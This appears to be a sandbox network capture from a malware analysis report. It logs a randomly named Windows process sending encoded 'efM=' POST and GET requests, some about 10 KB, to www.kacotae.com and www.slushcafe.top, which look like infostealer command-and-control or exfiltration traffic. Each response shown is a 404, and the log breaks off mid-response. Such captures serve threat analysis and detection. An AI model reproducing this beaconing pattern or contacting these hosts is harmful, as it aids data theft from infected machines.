Aug 5, 2024 15:32:46.237900972 CEST	720	OUT	POST /rdfm/ HTTP/1.1 Host: www.kacotae.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.kacotae.com Referer: http://www.kacotae.com/rdfm/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 39 70 4d 6d 76 63 7a 37 33 75 44 75 30 6a 72 42 64 57 68 31 52 39 44 6b 46 70 59 55 78 44 30 33 56 56 6b 42 4d 66 46 75 2f 71 32 67 43 70 31 4a 4c 49 47 64 57 46 65 6b 50 49 6a 37 4e 69 33 6b 36 47 37 6c 32 4b 37 52 6f 43 2b 72 2f 45 79 52 6b 52 49 72 58 6b 5a 48 55 63 66 34 31 6e 52 57 30 75 51 32 55 61 57 5a 67 77 65 49 34 6a 74 4f 68 59 33 54 6a 74 55 73 44 64 69 7a 4e 65 2f 4a 6a 58 68 57 36 44 69 70 41 76 6f 57 30 42 6c 58 59 4a 69 73 6b 61 5a 54 30 56 39 54 62 4f 2b 4e 7a 7a 45 2f 6c 61 39 53 63 39 56 54 69 43 32 5a 30 50 56 34 4f 59 4d 41 70 73 45 62 63 62 42 63 5a 31 33 4b 59 7a 70 74 4c 2f 55 37 42 69 5a 6f 76 59 70 34 46 77 49 3d Data Ascii: efM=9pMmvcz73uDu0jrBdWh1R9DkFpYUxD03VVkBMfFu/q2gCp1JLIGdWFekPIj7Ni3k6G7l2K7RoC+r/EyRkRIrXkZHUcf41nRW0uQ2UaWZgweI4jtOhY3TjtUsDdizNe/JjXhW6DipAvoW0BlXYJiskaZT0V9TbO+NzzE/la9Sc9VTiC2Z0PV4OYMApsEbcbBcZ13KYzptL/U7BiZovYp4FwI=
Aug 5, 2024 15:32:46.883445024 CEST	361	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 05 Aug 2024 13:32:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	55421	64.226.69.42	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:48.770221949 CEST	10802	OUT	POST /rdfm/ HTTP/1.1 Host: www.kacotae.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.kacotae.com Referer: http://www.kacotae.com/rdfm/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 39 70 4d 6d 76 63 7a 37 33 75 44 75 30 6a 72 42 64 57 68 31 52 39 44 6b 46 70 59 55 78 44 30 33 56 56 6b 42 4d 66 46 75 2f 71 75 67 42 61 74 4a 4b 72 75 64 56 46 65 6b 52 59 69 38 4e 69 32 6b 36 47 6a 68 32 4b 32 6d 6f 41 47 72 2b 6e 71 52 73 46 6b 72 65 6b 5a 48 49 73 66 37 37 48 52 44 30 75 41 36 55 62 6d 5a 67 77 65 49 34 6c 52 4f 79 70 33 54 6c 74 55 76 45 64 69 2f 63 4f 2f 31 6a 58 4a 47 36 44 6e 55 41 37 63 57 7a 67 56 58 65 37 61 73 73 61 5a 52 31 56 38 4d 62 4f 69 53 7a 7a 5a 45 6c 61 4a 72 63 36 6c 54 67 7a 4b 42 6a 4e 4a 44 55 61 55 47 72 65 67 49 62 72 38 61 58 55 44 6f 51 52 52 51 52 73 51 57 63 7a 6f 51 38 5a 4a 35 62 6e 59 76 6b 36 36 6c 6f 49 55 5a 79 50 69 6f 33 6e 6e 53 65 75 64 5a 42 63 61 37 45 2b 33 74 69 4c 61 34 57 67 62 76 4b 6f 2f 51 30 74 61 50 30 55 72 50 6c 66 7a 72 4b 57 6c 58 43 6d 4a 56 6e 47 49 79 43 74 49 35 35 51 33 58 34 35 46 4b 43 7a 79 35 4b 4e 48 4b 6b 71 36 76 39 69 49 7a 59 74 72 75 34 50 6a 51 59 59 61 57 41 7a 52 4c 58 35 79 47 58 6f 58 33 46 63 [TRUNCATED] Data Ascii: efM=9pMmvcz73uDu0jrBdWh1R9DkFpYUxD03VVkBMfFu/qugBatJKrudVFekRYi8Ni2k6Gjh2K2moAGr+nqRsFkrekZHIsf77HRD0uA6UbmZgweI4lROyp3TltUvEdi/cO/1jXJG6DnUA7cWzgVXe7assaZR1V8MbOiSzzZElaJrc6lTgzKBjNJDUaUGregIbr8aXUDoQRRQRsQWczoQ8ZJ5bnYvk66loIUZyPio3nnSeudZBca7E+3tiLa4WgbvKo/Q0taP0UrPlfzrKWlXCmJVnGIyCtI55Q3X45FKCzy5KNHKkq6v9iIzYtru4PjQYYaWAzRLX5yGXoX3FcnVFAOEE5aQY/9pQkSm4k/ssiDLBDTblE+4x9QsKPGUGuk4Z76uwURxkjuJQq3FhLFMPUpeAJxvPEeRciasAAeKh+QBGoTeCTpzHWfSwLyYkE+AwKkJmFJBlbJkBDDvSmNMbKHwd2sCaorf1E4rFMoTwjIt0DkXX+s2V3vUMQ2xlpqOgGwWPmrSVbn/9KHtrpnMlStG+u1/F2rGkAH5OgTOjSfiQ3xKVbj6vBLX9M6rTBdwsI3dcEzYMD7lWyVna/4DAAf9qmZpKXwCb/W2+yS1Y+GwJpDYXtOs99Q4zPo7+q/xat1qFkFIC7xtpDVIKT3p04/z+pGOlGcozUoTQy9UgRt+zayis4zRrhH3AwW4nRFy9/HVgjLrPFlkvbOf39saXpZ5HbUgVhRHUvw8HJXK9Ic9tjGcyY3PSTsTuyqQozg/PYyNfBMzQZg6PvNJXmjTuchjE6ZnF9gFtG2/Iwij4/Vz83pNDGAqq7vcaUMRmHGinXrHt9LaVsyowKP3Uu2HJxHAb/SORW3mT4NA+GgMzP7hK1rar3N/ABqTsq/HGpAlD5YdGqsrJgnB7LgJvB8QU2FKEEoQyoIZFGpK3IeXre8ZtLQs60UzimYVJXiuwELvmnYZkG3cMEk7wS86ANEdPf/YjyIDs1vxvziQ8TSHoAQ5ot1GiQEL [TRUNCATED]
Aug 5, 2024 15:32:49.398022890 CEST	361	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 05 Aug 2024 13:32:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	55422	64.226.69.42	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:51.302417040 CEST	436	OUT	GET /rdfm/?GTP=uhqpjxIPh&efM=wrkGspiQ383g8BvQawprffb7FcgpmXJxXTgxDOVN343rP+tlYZO/fXuOHfGNTjam/0/D7Ya5sDuP+VmElkMvZFoLMOaF6UBG/sMUSe6LmxyUxmV5i7nd1eA= HTTP/1.1 Host: www.kacotae.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:32:51.922563076 CEST	699	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 05 Aug 2024 13:32:51 GMT Content-Type: text/html Content-Length: 552 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	55423	203.161.55.102	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:57.138952017 CEST	706	OUT	POST /irn0/ HTTP/1.1 Host: www.slushcafe.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.slushcafe.top Referer: http://www.slushcafe.top/irn0/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 6d 6d 4d 56 31 78 53 46 71 68 59 47 39 57 36 57 4d 4c 6a 61 62 38 2b 48 69 58 32 66 55 58 48 50 49 42 4c 47 2b 51 6a 57 47 58 6d 45 68 50 4a 2b 55 66 35 71 32 52 70 6f 38 59 53 72 76 78 55 52 43 4c 56 31 33 67 76 59 41 57 75 39 56 7a 73 46 64 68 68 66 64 64 4c 6e 43 58 6b 46 50 75 6f 5a 32 45 6d 75 63 4a 46 33 63 59 73 77 48 62 46 6d 50 58 56 49 45 67 5a 52 62 33 54 6f 37 67 43 67 45 66 65 38 78 62 69 71 42 55 6e 50 4b 77 2f 4a 75 63 37 55 6d 38 52 6b 46 77 54 43 39 4e 2b 55 4d 4a 41 56 38 52 69 70 76 70 58 74 4c 6f 59 39 68 6e 76 5a 35 67 30 42 34 49 74 61 72 54 57 4e 4e 67 3d 3d Data Ascii: efM=mmMV1xSFqhYG9W6WMLjab8+HiX2fUXHPIBLG+QjWGXmEhPJ+Uf5q2Rpo8YSrvxURCLV13gvYAWu9VzsFdhhfddLnCXkFPuoZ2EmucJF3cYswHbFmPXVIEgZRb3To7gCgEfe8xbiqBUnPKw/Juc7Um8RkFwTC9N+UMJAV8RipvpXtLoY9hnvZ5g0B4ItarTWNNg==
Aug 5, 2024 15:32:57.775000095 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 13:32:57 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	55424	203.161.55.102	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:59.676848888 CEST	726	OUT	POST /irn0/ HTTP/1.1 Host: www.slushcafe.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.slushcafe.top Referer: http://www.slushcafe.top/irn0/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 6d 6d 4d 56 31 78 53 46 71 68 59 47 2f 7a 79 57 4e 73 33 61 64 63 2b 41 73 33 32 66 64 33 48 4c 49 42 48 47 2b 52 6e 47 47 6c 43 45 68 76 35 2b 56 65 35 71 7a 52 70 6f 6f 6f 53 75 69 52 55 47 43 4c 5a 54 33 69 4c 59 41 57 36 39 56 79 63 46 64 51 68 63 63 4e 4c 6c 4f 33 6b 48 4c 75 6f 5a 32 45 6d 75 63 4a 52 52 63 59 55 77 48 6f 64 6d 41 53 70 4a 59 51 5a 57 53 58 54 6f 74 51 44 70 45 66 65 4f 78 61 75 45 42 53 37 50 4b 79 33 4a 75 49 76 56 78 73 52 71 59 41 53 67 30 39 62 34 4e 62 67 63 32 67 69 47 6f 4a 48 51 4f 75 4a 6e 77 57 4f 4f 72 67 51 79 6c 50 6b 75 6d 51 72 45 57 67 76 70 55 75 68 4b 7a 39 42 69 2f 39 4c 6a 72 7a 57 57 76 7a 30 3d Data Ascii: efM=mmMV1xSFqhYG/zyWNs3adc+As32fd3HLIBHG+RnGGlCEhv5+Ve5qzRpoooSuiRUGCLZT3iLYAW69VycFdQhccNLlO3kHLuoZ2EmucJRRcYUwHodmASpJYQZWSXTotQDpEfeOxauEBS7PKy3JuIvVxsRqYASg09b4Nbgc2giGoJHQOuJnwWOOrgQylPkumQrEWgvpUuhKz9Bi/9LjrzWWvz0=
Aug 5, 2024 15:33:00.270761967 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 13:33:00 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	55425	203.161.55.102	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:02.206785917 CEST	10808	OUT	POST /irn0/ HTTP/1.1 Host: www.slushcafe.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.slushcafe.top Referer: http://www.slushcafe.top/irn0/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 6d 6d 4d 56 31 78 53 46 71 68 59 47 2f 7a 79 57 4e 73 33 61 64 63 2b 41 73 33 32 66 64 33 48 4c 49 42 48 47 2b 52 6e 47 47 6c 4b 45 67 65 5a 2b 55 35 6c 71 30 52 70 6f 72 6f 53 76 69 52 56 45 43 49 70 50 33 69 32 6c 41 53 4b 39 55 52 45 46 66 6a 35 63 58 4e 4c 6c 47 58 6b 47 50 75 6f 4d 32 41 36 69 63 4a 42 52 63 59 55 77 48 75 78 6d 4a 6e 56 4a 4c 41 5a 52 62 33 54 6b 37 67 43 4d 45 66 58 35 78 61 36 36 42 45 4c 50 45 78 66 4a 68 64 37 56 79 4d 52 6f 62 41 53 47 30 39 6e 6e 4e 62 4e 6c 32 67 57 73 6f 4c 62 51 50 70 4d 6f 68 46 2b 30 70 6a 30 76 78 38 4d 2b 6e 58 57 4a 58 43 43 57 62 37 38 51 6a 4d 46 58 6b 65 2b 36 77 57 61 65 35 6d 4f 74 67 49 36 43 52 35 45 67 35 6b 4f 76 46 74 79 38 57 69 37 63 68 4a 61 65 4e 6c 76 68 62 43 63 7a 4c 39 36 4c 35 39 47 6f 4f 4a 47 30 36 52 68 71 59 62 41 6b 71 4c 6e 72 66 58 57 33 61 34 7a 64 4b 78 6c 38 45 35 43 6a 48 44 2b 62 67 41 59 49 72 6d 47 33 44 71 79 51 50 59 41 59 66 52 47 72 70 78 6c 7a 49 41 66 33 4d 43 56 6f 58 58 51 44 2b 65 7a 55 54 47 [TRUNCATED] Data Ascii: efM=mmMV1xSFqhYG/zyWNs3adc+As32fd3HLIBHG+RnGGlKEgeZ+U5lq0RporoSviRVECIpP3i2lASK9UREFfj5cXNLlGXkGPuoM2A6icJBRcYUwHuxmJnVJLAZRb3Tk7gCMEfX5xa66BELPExfJhd7VyMRobASG09nnNbNl2gWsoLbQPpMohF+0pj0vx8M+nXWJXCCWb78QjMFXke+6wWae5mOtgI6CR5Eg5kOvFty8Wi7chJaeNlvhbCczL96L59GoOJG06RhqYbAkqLnrfXW3a4zdKxl8E5CjHD+bgAYIrmG3DqyQPYAYfRGrpxlzIAf3MCVoXXQD+ezUTGD0pwFGsfPBn4jJdZAWg6bvKVnh9kLs5EeDLdkCQypa4qQz2ETZR4R1OuVfyZSU3equpPb208G0PWhYIywgfH3czRsMaFJox4/YUZH7Mckc/P1nTM4ciN29HyLK31IvASX31FUpTug4LoW4qFbtdgP8Lz/CpnwXgTWN3xe4Gvyv7sE8z01NJN6Z6+pbY6enZ2frsbQ+DpnDfVO/2U5m1RTxviJns3rzAzKx2tURfTFuhiNAGaA5Hu1LAP9MUE+Y4UwGXbBcHbMXhXNmxJxWFbR17yffvBt8sYB1j+Zk2uTDFDrIF7T7wiyibOfqUZQZG4zQq+wgGASBiNw/HkxuqqRTw4xo1pLuZasNgrN7atQA2a3mPHQAAoBTzH6OGQUMd7efj2K18MyuOPwc/gLC2xPpWez6wRBHggH1rZMs+u1sRiybrUUzRelCgIKqtRT5hszNsgq4hKVt4hmgZCBfIKzQ1LmfmJSyAmnoy2p4QyuobGEJf/BDIlJ/qQSHuQF/wCo6Psv3AkDBcHQPgBfI7ICv8IRo7/lXTdZGpcpMlaGwt+lwhhmzfeUh0My2nenmxjpj04C6ifRo1IAH5l4HgboJvwKxKmtsTYBOc3Erh3s0zHkr35jw5pmP7H5nUztERGlkc9y9DWzpqx6G6bwlolJFJO8fAdcbc9op [TRUNCATED]
Aug 5, 2024 15:33:02.852524996 CEST	533	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 13:33:02 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	55426	203.161.55.102	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:04.736814976 CEST	438	OUT	GET /irn0/?efM=rkk12BbGqxBZ8yyVdqr4fumsqySnbS/TKAT51RD3LUS3uLR6Pe1z8Bplr8mj2yMFe4BX6hO/FEyyRDMjbgdycpy6GTweDeod91OQcupKfuQbLLwzDVUdZDA=&GTP=uhqpjxIPh HTTP/1.1 Host: www.slushcafe.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:33:05.338709116 CEST	548	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Aug 2024 13:33:05 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 